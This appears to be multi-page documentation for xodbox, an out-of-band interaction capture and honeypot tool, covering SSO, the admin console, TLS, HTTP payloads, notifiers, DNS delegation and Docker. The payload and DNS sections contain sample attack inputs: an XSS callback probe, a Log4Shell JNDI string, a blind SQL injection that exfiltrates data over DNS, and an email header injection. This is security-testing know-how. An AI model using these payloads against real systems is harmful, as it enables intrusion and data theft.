Step-by-step guides for configuring xodbox features.
This is the multi-page printable view of this section. Click here to print.
Guides
- 1: OIDC / SSO
- 2: Admin Console Setup
- 3: TLS / ACME Setup
- 4: HTTP Payloads
- 5: Notifier Integration
- 6: DNS Delegation
- 7: Docker Deployment
1 - OIDC / SSO
The admin console supports single sign-on via any OpenID Connect provider (Google, Okta, Keycloak, Azure AD, Authentik, Dex, etc.). SSO runs alongside built-in username/password login — a local admin can always sign in even when the IdP is down or misconfigured.
Prerequisites
- A working xodbox instance with the admin console enabled
(
admin_listenerorui_pathconfigured). - An OIDC provider with a client application registered for xodbox.
Register xodbox with your identity provider
Create an application / client in your IdP with these settings:
| Setting | Value |
|---|---|
| Application type | Web |
| Grant type | Authorization Code |
| PKCE | S256 (always used; required for public clients) |
| Redirect URI | <admin_base>/api/auth/oidc/callback (e.g. https://oob.example.com/admin/api/auth/oidc/callback) |
| Scopes | openid profile email (minimum) |
Note the Issuer URL and Client ID — those are the two required values. A Client Secret is optional when the provider supports public clients with PKCE.
Quick setup via the web UI
The admin console’s Config page offers a one-click Enable OIDC / SSO button on any HTTPX handler entry. Clicking it adds all the SSO fields with sensible defaults — just fill in your Issuer URL and Client ID from your identity provider and save.
Minimal configuration (YAML)
Add the OIDC keys to your HTTPX handler entry in xodbox.yaml:
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
oidc_issuer: https://sso.example.com/realms/corp
oidc_client_id: xodbox
This is enough to enable the SSO button on the login page. Discovery
(<issuer>/.well-known/openid-configuration) is fetched lazily on the
first login attempt, so xodbox starts even if the IdP is temporarily
unreachable.
Full configuration reference
| Key | Default | Description |
|---|---|---|
oidc_issuer | — | Provider issuer URL. Required to enable SSO. |
oidc_client_id | — | OAuth2/OIDC client ID. Required to enable SSO. |
oidc_client_secret | (empty) | Client secret. Omit for public clients — the flow always uses PKCE. |
oidc_redirect_url | derived | Callback URL. When empty it is derived from the request’s scheme, host, and admin mount path (honoring X-Forwarded-Proto). Set it explicitly when behind a reverse proxy. |
oidc_scopes | openid,profile,email | Comma or space-separated scopes. openid is always included. |
oidc_default_role | user | Role assigned to provisioned users: user or admin. |
oidc_groups_claim | groups | ID-token claim inspected for group membership. May be a JSON array, space-separated string, or comma-separated string. |
oidc_admin_group | (empty) | When set, users whose groups claim contains this value get the admin role; everyone else gets oidc_default_role. |
oidc_button_label | Sign in with SSO | Text shown on the login page’s SSO button. |
How the login flow works
- The user clicks Sign in with SSO on the login page.
- The browser hits
GET /api/auth/oidc/login, which generates astate,nonce, and PKCE code verifier, stashes them in short-lived cookies, and redirects to the identity provider’s authorization endpoint. - After the user authenticates, the provider redirects back to
GET /api/auth/oidc/callback. - xodbox validates
state, exchanges the authorization code (with the PKCE verifier), and verifies the ID token’s signature andnonce. - A local account is provisioned (or updated) from the token’s claims and a standard session cookie is issued — identical to the one the password flow creates. All downstream middleware (CSRF, roles, API keys) works the same regardless of login method.
User provisioning
Accounts are created just-in-time on first OIDC login. Key behaviours:
- The account is keyed by
iss#sub(issuer + subject), never by email, so a colliding email address cannot take over an existing local account. - OIDC-provisioned accounts have no password and can never be used for password login.
- The display name is derived from
preferred_username,email, orsub(first non-empty wins). If the chosen username is already taken, a numeric suffix is appended. - On every login the user’s role is re-synced from the current token claims, so IdP group changes take effect immediately.
Role mapping
Without oidc_admin_group, every OIDC user gets the oidc_default_role
(default user). Set oidc_admin_group to a group value present in the
oidc_groups_claim to promote matching users to admin:
oidc_groups_claim: groups # claim name in the ID token
oidc_admin_group: xodbox-admins # value that grants admin
oidc_default_role: user # everyone else
The groups claim can be a JSON array (["a","b"]), a space-separated
string ("a b"), or a comma-separated string ("a,b").
Reverse proxy considerations
When xodbox sits behind a reverse proxy:
- Set
oidc_redirect_urlexplicitly to the externally-reachable callback URL. The auto-derived URL uses the request’sHostandX-Forwarded-Protoheaders, which may not be correct in all proxy configurations. - Ensure the proxy forwards
X-Forwarded-Protoso xodbox can distinguish HTTP from HTTPS when building the redirect.
Provider-specific examples
Keycloak
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
public_url: https://oob.example.com
oidc_issuer: https://sso.example.com/realms/corp
oidc_client_id: xodbox
oidc_client_secret: "change-me"
oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
oidc_admin_group: xodbox-admins
In Keycloak, create a client with:
- Client type: OpenID Connect
- Client authentication: On (confidential) or Off (public + PKCE)
- Valid redirect URIs:
https://oob.example.com/admin/api/auth/oidc/callback - Add a groups mapper (Client scopes → dedicated scope → Add mapper →
Group Membership) so the
groupsclaim appears in the ID token.
Google Workspace
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
oidc_issuer: https://accounts.google.com
oidc_client_id: "123456789.apps.googleusercontent.com"
oidc_client_secret: "GOCSPX-..."
oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
oidc_default_role: user
Google does not expose a groups claim in the ID token, so group-based
admin mapping is not available. Grant the admin role from the Users page
after the user’s first login, or set oidc_default_role: admin if every
Google user should be an admin.
Okta
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
oidc_issuer: https://dev-123456.okta.com
oidc_client_id: 0oa1bcdef
oidc_client_secret: "..."
oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
oidc_groups_claim: groups
oidc_admin_group: xodbox-admins
In Okta, add a Groups claim to the ID token (Security → API →
Authorization Server → Claims → Add Claim with Include in: ID Token,
Value type: Groups, Filter: Matches regex .*).
Troubleshooting
SSO button does not appear: both oidc_issuer and oidc_client_id
must be set. Check the server logs at start-up for an OIDC summary line
confirming SSO is enabled.
“sso_error” on callback: the login page shows the error from the query parameter. Common causes: mismatched redirect URI, expired state cookie (the user took too long), or the IdP returned an error. Check server logs for the detailed error.
User gets user role instead of admin: verify that the ID token
actually contains the groups claim. Use your IdP’s token preview or
decode the JWT to confirm. The claim name must match oidc_groups_claim
and the value must match oidc_admin_group exactly.
IdP unreachable at start-up: this is fine — discovery is lazy. The first login attempt will fail with a clear error if the IdP is still unreachable at that point.
2 - Admin Console Setup
The admin console is an embedded React web UI and JSON API for managing payloads, browsing captured interactions, creating sinks, and managing users and API keys. It ships inside the xodbox binary — no separate install needed.
Bootstrap the first user
There is no default account. Create an admin user before starting the server:
xodbox user add alice --admin
This prints a generated 24-character password once — store it immediately. To choose your own password:
xodbox user add alice --admin --password 'your-strong-password'
Passwords must be at least 12 characters.
Choose a serving strategy
The admin console can be served two ways:
Option 1: Isolated listener (recommended)
Bind the admin console to a separate address, fully isolated from the attacker-facing port:
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
The admin UI is served only on 127.0.0.1:9091. The main listener on
port 80 serves only honeypot content. This is the safest option — the
admin surface is not reachable from the attacker-facing port at all.
Option 2: Same listener, sub-path
Mount the admin UI under a path prefix on the main listener:
handlers:
- handler: HTTPX
listener: :80
ui_path: /admin
The admin UI is served at http://your-host/admin. Use ui_allow_cidrs
to restrict access by source IP (see below).
Restrict access by source IP
The ui_allow_cidrs config restricts admin UI access to specific source
IPs, checked against the real TCP peer IP (never X-Forwarded-For):
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
Denied requests receive a 404 (indistinguishable from a non-existent
path). Empty or omitted means no restriction — authentication is still
required.
Set the public URL
When the admin console runs on an isolated listener (different from the honeypot), sink “Copy HTTP link” needs to know the honeypot’s external address:
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
public_url: https://oob.example.com
Without public_url, the link falls back to the admin UI’s own origin,
which is only correct when the UI is served on the honeypot listener.
Authentication
Browser sessions
- Cookie-based with server-side session tokens (hashed at rest).
HttpOnly,SameSite=Strict,Secureunder TLS.- State-changing requests require a CSRF token: the
X-CSRF-Tokenheader must echo thexodbox_csrfcookie. - Login is rate-limited: 10 attempts per IP per minute (HTTP 429 when exceeded).
API keys
API keys authenticate non-browser clients (scripts, CI, integrations).
They use the prefix xdbx_ followed by 64 hex characters.
Create a key from the admin UI (Account → API Keys) or via the API:
curl -X POST https://admin:9091/api/apikeys \
-H "Authorization: Bearer xdbx_existing_key" \
-H "Content-Type: application/json" \
-d '{"name": "ci-bot"}'
The full key is returned exactly once in the response — only the
SHA-256 hash is stored. Keys can optionally have an expiry
(expires_at).
Use a key by sending it as a Bearer token:
curl https://admin:9091/api/interactions \
-H "Authorization: Bearer xdbx_your_key_here"
API key requests skip CSRF checks.
User management
CLI
xodbox user add bob # create user (role: user), prints generated password
xodbox user add carol --admin # create admin
xodbox user add dave --password 'p' # create user with a specific password
xodbox user list # list all users (ID, username, role)
xodbox user passwd bob # reset password (revokes active sessions)
xodbox user rm bob # delete user + their keys and sessions
API (admin only)
| Method | Path | Description |
|---|---|---|
GET | /api/users | List all users |
POST | /api/users | Create a user ({"username": "...", "password": "...", "role": "admin|user"}) |
DELETE | /api/users/{id} | Delete a user (cannot delete self or last admin) |
POST | /api/users/{id}/password | Reset another user’s password |
Self-service
Any authenticated user can change their own password:
POST /api/account/password
{"current": "...", "new": "..."}
Sinks
A sink is a named slug you embed in payloads to correlate interactions. Creating a sink does not change what the honeypot captures — it labels and groups hits so you can review them in one place.
An interaction belongs to a sink when the slug appears in the
request_target (HTTP path, DNS qname) or the raw request headers. So
/<slug>, <slug>.your.domain, and ?x=<slug> all correlate.
CLI
SLUG=$(xodbox sink add --description "prod SSRF beacon") # random slug (stdout is clean for scripting)
xodbox sink add my-label --description "a named one" # explicit slug
xodbox sink list # slug, hit count, description
xodbox sink rm my-label # delete sink (interactions kept)
Slugs must be 6-64 characters of [a-zA-Z0-9_-]. Random slugs are
~10 characters of lowercase base32.
API
| Method | Path | Description |
|---|---|---|
GET | /api/sinks | List all sinks with event counts |
POST | /api/sinks | Create ({"slug": "...", "description": "..."}) |
GET | /api/sinks/{slug} | Sink detail + paginated events (?limit=&offset=) |
PUT | /api/sinks/{slug} | Update description |
DELETE | /api/sinks/{slug} | Delete sink (interactions kept) |
Login notifications
Enable event emission on every successful admin login:
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
notify_logins: "true"
Login events appear in the Events log and fire notifiers whose filter
matches the pattern HTTPX Login <username> from <ip>. Failed login
attempts are not emitted.
Real-time event streaming
The admin UI updates live via Server-Sent Events. The same stream is available programmatically:
curl -N https://admin:9091/api/stream \
-H "Authorization: Bearer xdbx_your_key" \
-H "Accept: text/event-stream"
Filter the stream with query parameters: handler, remote, target,
sink.
Example: full setup
handlers:
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
public_url: https://oob.example.com
notify_logins: "true"
# Create the first admin
xodbox user add operator --admin
# Start the server
xodbox serve
# Create a sink for an engagement
SLUG=$(xodbox sink add --description "Acme Corp SSRF test")
echo "Embed in payloads: https://oob.example.com/$SLUG"
3 - TLS / ACME Setup
The HTTPX handler can automatically provision and renew TLS certificates via Let’s Encrypt using certmagic. Two challenge methods are supported: DNS-01 (recommended — works behind firewalls and supports wildcards) and HTTP-01 / TLS-ALPN-01 (requires ports 80 and 443 to be reachable from the internet).
Prerequisites
- A domain (or subdomain) whose DNS you control.
- For DNS-01: API credentials for a supported DNS provider (Namecheap or Route53).
- For HTTP-01: ports 80 and 443 open and reachable from the public internet.
Quick start (DNS-01 with Namecheap)
handlers:
- handler: HTTPX
listener: :80
tls_names: "*.oob.example.com,oob.example.com"
acme_email: you@example.com
acme_accept: "true"
acme_url: https://acme-staging-v02.api.letsencrypt.org/directory
dns_provider: namecheap
dns_provider_api_user: your-namecheap-user
dns_provider_api_key: your-namecheap-api-key
Start with the staging ACME URL to avoid rate limits while testing. Once certificates provision correctly, switch to production (see below).
Configuration reference
| Key | Required | Default | Notes |
|---|---|---|---|
tls_names | yes | — | Comma-separated hostnames. Setting any value enables HTTPS. Wildcards (e.g. *.example.com) require DNS-01. |
acme_email | no | — | Contact address for the ACME account. Let’s Encrypt sends expiry warnings here. |
acme_accept | yes | false | Must be the literal string "true" to accept the CA’s terms of service. Other values ("yes", "1") are treated as false. |
acme_url | no | LE production | ACME directory URL. Use https://acme-staging-v02.api.letsencrypt.org/directory for testing. |
dns_provider | no | — | namecheap or route53. When set, DNS-01 is used exclusively (HTTP-01 and TLS-ALPN-01 are disabled). |
dns_provider_api_user | no | — | Namecheap API username (namecheap only). |
dns_provider_api_key | no | — | Namecheap API key (namecheap only). |
Challenge methods
DNS-01 (recommended)
When dns_provider is set, xodbox creates TXT records via the provider’s
API to prove domain ownership. HTTP-01 and TLS-ALPN-01 are disabled. A
hardcoded 30-second propagation delay gives DNS time to converge.
DNS-01 is the only option that supports wildcard certificates and works when ports 80/443 are behind a firewall or NAT.
HTTP-01 / TLS-ALPN-01 (fallback)
When dns_provider is not set, certmagic uses its default challenge
methods. This requires:
- Port 80 reachable from the internet (HTTP-01 challenge).
- Port 443 reachable from the internet (TLS-ALPN-01 and serving).
Note: in HTTPS mode, xodbox always binds ports 80 and 443 directly
(via certmagic), regardless of the listener config value.
DNS provider setup
Namecheap
- Enable API access in your Namecheap account (Profile → Tools → API Access).
- Whitelist your xodbox server’s IP.
- Set
dns_provider_api_useranddns_provider_api_keyin the config.
dns_provider: namecheap
dns_provider_api_user: your-username
dns_provider_api_key: your-api-key
Route53
The Route53 provider uses the standard AWS SDK credential chain — no
xodbox-specific config keys are needed beyond dns_provider: route53.
Provide credentials via one of:
- Environment variables:
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_REGION - Shared credentials file:
~/.aws/credentials(with optionalAWS_PROFILE) - IAM instance profile / role: when running on EC2, ECS, or similar AWS infrastructure
- Web identity token: for EKS / Kubernetes workloads
The IAM policy must allow route53:ListHostedZones,
route53:ChangeResourceRecordSets, and route53:GetChange on the
relevant hosted zone.
dns_provider: route53
Staging to production workflow
Start with staging. Set
acme_urlto the Let’s Encrypt staging directory. Staging has generous rate limits and issues untrusted certificates — browsers will warn, but you can verify the flow works.Verify. Start xodbox and confirm certificates provision (check the logs for certmagic messages). Test with
curl -kor a browser that accepts untrusted certs.Switch to production. Remove or clear
acme_url(the default is Let’s Encrypt production) or set it explicitly:acme_url: https://acme-v02.api.letsencrypt.org/directoryRestart xodbox. Production certificates will be provisioned and trusted by browsers.
Example configurations
Wildcard certificate with Namecheap
handlers:
- handler: HTTPX
listener: :80
tls_names: "*.oob.example.com,oob.example.com"
acme_email: ops@example.com
acme_accept: "true"
dns_provider: namecheap
dns_provider_api_user: ncuser
dns_provider_api_key: nckey123
admin_listener: 127.0.0.1:9091
Single domain with Route53
handlers:
- handler: HTTPX
listener: :80
tls_names: oob.example.com
acme_email: ops@example.com
acme_accept: "true"
dns_provider: route53
HTTP-01 (no DNS provider)
handlers:
- handler: HTTPX
listener: :80
tls_names: oob.example.com
acme_email: ops@example.com
acme_accept: "true"
Requires ports 80 and 443 open to the internet. Does not support wildcard certificates.
Troubleshooting
“acme_accept must be true”: The value must be the exact string
"true". Quoting matters in YAML — acme_accept: true (boolean) works,
but acme_accept: yes does not.
Rate limited by Let’s Encrypt: You hit the production rate limit. Switch to the staging URL, fix your config, then retry production after the rate limit window (usually 1 hour for failed validations, 1 week for duplicate certificates).
DNS-01 challenge fails: Verify your API credentials, check that the domain’s authoritative nameservers are correct, and allow at least 30 seconds for DNS propagation.
Port 80/443 already in use: In HTTPS mode, certmagic binds these ports directly. Stop any other service on those ports before starting xodbox.
Certificates not renewing: certmagic handles renewal automatically (well before expiry). If renewal fails, check the logs for ACME errors — usually a DNS or network issue.
4 - HTTP Payloads
The HTTPX handler serves user-defined payloads — configurable HTTP responses keyed by URL pattern. Payloads use Go templates for dynamic headers, bodies, and status codes, letting you craft responses that test how an application consumes remote data.
How payloads work
Payloads form a processing chain, not a simple route table. On each request:
- All payloads are evaluated in order of
weight(ascending), then by pattern. - Every payload whose
patternregex matchesr.URL.Pathruns — it can set headers, write a body, or set the status code. - If a payload has
is_final: true, processing stops. Otherwise, the next matching payload runs.
This means multiple non-final payloads can contribute to a single
response. For example, the built-in Default Header payload (weight
-1000) adds a Server header to every response, then processing
continues to the content payload.
Payload file format
Payloads are defined as Markdown files with YAML frontmatter. The body
below the closing --- is documentation only — it is not used at
runtime.
---
title: My Payload
description: Returns a custom JSON response
weight: 100
pattern: ^/api/config
is_final: true
data:
status_code: "200"
headers:
content-type: application/json
body: |
{"server": "{{.Request.Host}}", "ip": "{{index .Request.RemoteAddr 0}}"}
---
This payload returns a fake JSON config to test how the target parses
remote configuration files.
Frontmatter fields
| Field | Required | Default | Description |
|---|---|---|---|
title | yes | — | Unique name for the payload. |
description | no | — | Human-readable description. |
weight | no | 0 | Evaluation order (lower = earlier). Use negative values to run before defaults. |
pattern | yes | — | Go regular expression matched against the URL path. |
is_final | no | false | When true, stops the payload chain after this payload. |
internal_function | no | — | Invokes a built-in Go function instead of the body template (inspect or build). |
data.status_code | no | — | Go template for the HTTP status code. |
data.headers | no | — | Map of header name to value. Both names and values are Go templates. |
data.body | no | — | Go template for the response body. |
Template context
All template fields (headers, body, status code) are Go templates with
Sprig functions available (minus
env and expandenv for security).
| Variable | Type | Description |
|---|---|---|
.Version | string | xodbox version |
.ServerName | string | Configured server name |
.CallBackURL | string | URL that calls back to xodbox with ?&xdbx |
.CallBackImageURL | string | Same but with ?&xdbxImage |
.Extra | map[string]string | Template data plus GET_<param> entries |
.Payloads | []Payload | All loaded payloads |
.Request.RemoteAddr | []string | Client IPs (including X-Forwarded-For, X-Real-IP) |
.Request.Host | string | Request host |
.Request.Path | string | URL path |
.Request.UserAgent | string | User-Agent header |
.Request.Headers | map[string][]string | All request headers |
.Request.GetParams | url.Values | Query string parameters |
.Request.PostParams | url.Values | POST form parameters |
.Request.Body | []byte | Raw request body |
.Request.FullRequest | []byte | Full raw HTTP request |
Content-type and escaping
When a payload sets Content-Type: text/html, the body is rendered with
Go’s html/template (auto-escapes HTML entities). All other content
types use text/template (no escaping), so template output is rendered
verbatim.
Loading payloads
Embedded seeds
xodbox ships with built-in payloads compiled into the binary. These are loaded on first startup and include:
- Default Header (weight -1000): adds a
Serverheader to every response. - Robots (weight -900): serves
robots.txt. - Redirect (weight -900): HTTP redirects via
/redir?l=URL&s=301. - Inspect (weight -500): reflects requests back in multiple formats
(
.txt,.html,.json,.xml,.js,.png,.gif,.jpg). - MDaaS Build (weight -500): cross-compiles binaries on the fly.
- Default Page (weight 9999): catch-all HTML page.
Seeds are additive — they are inserted on first run but never overwrite existing payloads with the same name.
Payload directory (hot-reload)
Set payload_dir in the HTTPX handler config to load .md payload files
from a directory:
handlers:
- handler: HTTPX
listener: :80
payload_dir: /opt/xodbox/payloads
xodbox watches this directory with fsnotify:
- New or modified
.mdfiles are upserted (inserted or updated by name) with a 1-second debounce. - Subdirectories are also watched.
- Files ending in
~and files named_index.mdare ignored. - Changes take effect on the next HTTP request after the upsert.
Admin UI and API
Payloads can also be managed through the admin web UI (Payloads page) or the JSON API:
| Method | Path | Auth | Description |
|---|---|---|---|
GET | /api/payloads | any user | List all payloads |
GET | /api/payloads/{id} | any user | Get one payload |
POST | /api/payloads | admin | Create a payload |
PUT | /api/payloads/{id} | admin | Update a payload |
DELETE | /api/payloads/{id} | admin | Delete a payload |
CLI
xodbox payload dump # dump all payloads as YAML
Examples
XSS probe
---
title: XSS Probe
description: JavaScript that phones home on execution
weight: 100
pattern: ^/xss
is_final: true
data:
headers:
content-type: application/javascript
access-control-allow-origin: "*"
body: |
fetch("{{.CallBackURL}}&context=xss&origin="+document.location.href)
---
Redirect with custom status
The built-in redirect payload (/redir) supports dynamic status codes
and locations via query parameters:
/redir?l=https://evil.com&s=302
l— redirect location (defaults to a rickroll)s— HTTP status code (defaults to 301)
Request inspector
The built-in inspect payload reflects the request back at the requested path with a format suffix:
/i/anything.json → JSON representation of the request
/i/anything.html → HTML view
/i/anything.txt → plain text
/i/anything.xml → XML
/i/anything.js → JavaScript (document.write)
/i/anything.png → 1x1 tracking pixel
Dynamic header names
Header keys are also templates, enabling dynamic headers:
data:
headers:
"x-{{index .Request.GetParams \"h\" 0}}": "{{index .Request.GetParams \"v\" 0}}"
A request to /?h=custom&v=value produces X-custom: value.
Built-in weight conventions
| Weight | Purpose |
|---|---|
| -1000 | Global headers (applied to every response) |
| -900 | Utility routes (robots.txt, redirects) |
| -500 | Built-in tools (inspect, build) |
| 0 | Default for user payloads |
| 9999 | Catch-all fallback page |
Place your payloads between -499 and 9998 to run after built-in utilities but before the catch-all. Use negative weights to add global headers or middleware-like behavior.
5 - Notifier Integration
Notifiers deliver alerts when xodbox captures an interaction. Every handler (HTTP, DNS, SMB, SSH, FTP, SMTP, TCP) emits events; notifiers filter them and forward matches to external services.
Four notifiers ship built-in: app_log (structured log, enabled by default), slack, discord, and webhook (generic HTTP POST).
How filtering works
Each notifier has an optional filter key — a Go regular expression
matched against the event’s canonical filter string. The filter
string has the form:
HANDLER ACTION DETAIL from IP[,IP...]
Examples:
| Event | Filter string |
|---|---|
HTTP GET to /probe | HTTPX GET /probe from 203.0.113.9 |
DNS A query for c2.evil.com. | DNS A c2.evil.com. from 10.0.0.5 |
| SMB auth capture | SMB Auth CORP\alice from 10.0.0.5 |
| SSH password attempt | SSH PasswordAuth root from 10.0.0.5 |
Admin login (with notify_logins) | HTTPX Login alice from 10.0.0.5 |
The default filter is .* (match everything). Filters are compiled at
startup — an invalid regex prevents the notifier from loading.
Common filter patterns
| Goal | Filter |
|---|---|
Only HTTP hits under /x/ | ^HTTPX (GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /x/ |
| Captured SMB hashes | ^SMB Auth |
| DNS lookups for a domain | ^DNS (A|AAAA) .*\.evil\.com |
| SSH login attempts as root | ^SSH \w+ root |
| Admin console logins | ^HTTPX Login |
| Events from a specific IP | from .*10\.0\.0\.5 |
| Everything (default) | .* |
Slack
Setup
- Create a Slack incoming webhook in your workspace.
- Copy the webhook URL (starts with
https://hooks.slack.com/services/...). - Add to
xodbox.yaml:
notifiers:
- notifier: slack
url: https://hooks.slack.com/services/T00/B00/xxxx
channel: "#security-alerts"
author: xodbox
author_image: ":skull:"
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
notifier | yes | — | Must be slack. |
url | yes | — | Slack incoming webhook URL. |
channel | no | — | Channel name or user ID to post to. |
author | no | — | Username displayed in Slack. |
author_image | no | — | Slack emoji code (e.g. :pirate:) for the avatar. |
filter | no | .* | Go regexp against the filter string. |
Message format
Slack messages include the event details, the raw request data in a code
block, and (for HTTP events) a Replay: code block with a reproducible
curl command.
Discord
Setup
- In your Discord server, go to Server Settings → Integrations → Webhooks → New Webhook.
- Select the target channel and copy the webhook URL.
- Add to
xodbox.yaml:
notifiers:
- notifier: discord
url: https://discord.com/api/webhooks/1234567890/abcdef...
author: xodbox
author_image: https://example.com/avatar.png
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
notifier | yes | — | Must be discord. |
url | yes | — | Discord webhook URL. |
author | no | — | Username displayed in Discord. |
author_image | no | — | Full image URL for the avatar (not an emoji code). |
filter | no | .* | Go regexp against the filter string. |
Discord has no channel key — the target channel is determined by the
webhook URL itself.
Message format
Same as Slack: event details, raw data code block, and optional curl replay block.
Webhook (generic)
The webhook notifier POSTs a JSON payload to any HTTP endpoint. Use it to integrate with SIEMs, n8n, Tines, custom automation, or any service that accepts webhooks.
Setup
notifiers:
- notifier: webhook
url: https://your-service.example.com/hooks/xodbox
filter: "^HTTPX"
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
notifier | yes | — | Must be webhook. |
url | yes | — | Any HTTP endpoint. Posted with Content-Type: application/json. |
filter | no | .* | Go regexp against the filter string. |
Payload format
{
"RemoteAddr": "203.0.113.5",
"RemotePort": 54321,
"UserAgent": "curl/8.0",
"Data": "DELETE /probe HTTP/1.1\r\nHost: ...",
"Details": "HTTPX: DELETE http://.../probe from 203.0.113.5:54321",
"Curl": "curl -X DELETE ..."
}
The Curl field is only present for HTTP events; it is omitted for DNS,
SMB, SSH, and other handlers.
App log (default)
The app_log notifier writes events to the structured application log.
It is enabled by default in the embedded config template.
notifiers:
- notifier: app_log
filter: ".*"
Output includes a curl attribute for HTTP events.
Multiple notifiers
You can configure multiple notifiers — including multiple instances of the same type with different filters:
notifiers:
- notifier: app_log
- notifier: slack
url: https://hooks.slack.com/services/T00/B00/xxxx
channel: "#all-interactions"
- notifier: slack
url: https://hooks.slack.com/services/T00/B00/yyyy
channel: "#smb-hashes"
filter: "^SMB Auth"
- notifier: webhook
url: https://siem.internal/api/events
filter: "^(HTTPX|DNS)"
Failure handling
- HTTP 4xx/5xx from the target: logged as an error but does not block other notifiers. A flaky webhook will not cause event loss.
- Connection/transport failures (DNS resolution, refused, timeout): the error is logged and propagated. Events are still delivered to other notifiers.
- Notifier failures never prevent event recording in the database — the interaction is always persisted regardless of notifier outcomes.
6 - DNS Delegation
The DNS handler listens for UDP queries and responds to every request with a configurable A record. Every query is logged as an interaction event and delivered to notifiers. This makes it ideal for detecting out-of-band DNS lookups triggered by SSRF, XXE, log4shell, and similar vulnerabilities.
How it works
The handler responds to all queries for all domains — there is no zone configuration. Every query (regardless of type — A, AAAA, MX, etc.) receives the same A record response with a TTL of 0 (not cacheable).
To make this useful, you delegate a subdomain to xodbox so that DNS
resolution for *.oob.yourdomain.com reaches your server.
Prerequisites
- A domain whose DNS you control (via your registrar or DNS provider).
- A server with a static public IP that can bind port 53/UDP.
CAP_NET_BIND_SERVICEcapability (or root) to bind port 53.
Configuration
handlers:
- handler: DNS
listener: :53
default_ip: 203.0.113.10
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be DNS. |
listener | yes | — | UDP bind address, e.g. :53 or 0.0.0.0:5353. Port 53 requires CAP_NET_BIND_SERVICE. |
default_ip | yes | — | IPv4 address returned as the A record for every query. Invalid values produce empty responses. |
Setting up DNS delegation
Step 1: Create glue records
At your DNS registrar or provider, create an A record pointing to your xodbox server’s public IP. This becomes the “glue” that tells resolvers where to find your nameserver:
ns-oob.example.com. A 203.0.113.10
Step 2: Delegate the subdomain
Create an NS record that delegates a subdomain to the host you just created:
oob.example.com. NS ns-oob.example.com.
This tells the DNS hierarchy that all queries for *.oob.example.com
should be sent to ns-oob.example.com (your xodbox server).
Step 3: Configure and start xodbox
Set default_ip to the IP you want every query to resolve to — typically
your xodbox server’s own public IP:
handlers:
- handler: DNS
listener: :53
default_ip: 203.0.113.10
Step 4: Verify
From another machine, query a random subdomain:
dig test123.oob.example.com @203.0.113.10
You should see an A record pointing to 203.0.113.10 and an interaction
logged in xodbox.
To verify delegation through the public DNS hierarchy (not direct):
dig test456.oob.example.com
If delegation is correct, this resolves through the public DNS hierarchy to your xodbox server.
Using DNS for out-of-band detection
Once delegation is set up, embed a unique subdomain in your payloads. If the target application performs a DNS lookup, xodbox captures it:
SSRF / XXE:
https://unique-token.oob.example.com/
Log4Shell:
${jndi:ldap://unique-token.oob.example.com/a}
Blind SQL injection (DNS exfiltration):
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.oob.example.com\\a'));
Email header injection:
From: test@unique-token.oob.example.com
Use sinks to group and label interactions by engagement or test case.
Combining with the HTTPX handler
A typical deployment runs both DNS and HTTPX handlers together. DNS captures the lookup; HTTPX captures the follow-up HTTP request:
handlers:
- handler: DNS
listener: :53
default_ip: 203.0.113.10
- handler: HTTPX
listener: :80
admin_listener: 127.0.0.1:9091
Set default_ip to the same server so that DNS resolution leads the
target to make an HTTP request to xodbox as well.
Notifier filter examples
The DNS handler’s filter string has the format:
DNS <QTYPE> <qname> from <ip>
| Goal | Filter |
|---|---|
| All DNS events | ^DNS |
| Only A queries | ^DNS A |
| Queries for a specific domain | ^DNS .* .*\.oob\.example\.com |
| Queries from a specific IP | ^DNS .* from 10\.0\.0\.5 |
Operational notes
- TTL is always 0. Responses are not cacheable. This ensures every lookup reaches xodbox, but may increase query volume from recursive resolvers.
- All query types return an A record. AAAA, MX, and other query types still get an A response. There is no type-specific response logic.
- Port 53 requires privileges. On Linux, grant
CAP_NET_BIND_SERVICEto the xodbox binary (setcap cap_net_bind_service=+ep ./xodbox) or run as root. In Docker, publish the port with-p 53:53/udp. - Stop existing resolvers.
systemd-resolvedordnsmasqmay already bind port 53. Disable or reconfigure them before starting xodbox’s DNS handler.
7 - Docker Deployment
Pre-built Docker images are published to the GitHub Container Registry
(GHCR) and signed with cosign (keyless OIDC via GitHub Actions). The
images are Alpine-based, run as a non-root xodbox user, and contain a
single statically-linked binary.
Quick start
# Generate a starter config
docker run --rm ghcr.io/defektive/xodbox:latest config -e > xodbox.yaml
# Edit xodbox.yaml to taste, then run
docker run -d \
--name xodbox \
-v "$PWD:/workspace" \
--user "$(id -u):$(id -g)" \
-p 80:80 \
ghcr.io/defektive/xodbox:latest serve
Image details
| Property | Value |
|---|---|
| Image | ghcr.io/defektive/xodbox |
| Tags | :latest, :v1.2.3 (per release) |
| Architecture | linux/amd64 |
| Base | alpine:3.21 |
| Entrypoint | /bin/xodbox |
| Working directory | /workspace |
| Runs as | xodbox (non-root) |
Volumes and persistence
The container’s working directory is /workspace. Mount a host directory
there to persist:
| File | Purpose |
|---|---|
xodbox.yaml | Configuration file |
xodbox.db | SQLite database (interactions, payloads, users) |
payloads/ | Custom payload files (if payload_dir is set) |
static/ | Static assets (if static_dir is set) |
Always pass --user "$(id -u):$(id -g)" so files created in the volume
are owned by your host user.
Health check
The HTTPX handler exposes a health endpoint:
GET /api/health → {"status": "ok"}
When using ui_path, the endpoint is at <ui_path>/api/health (e.g.
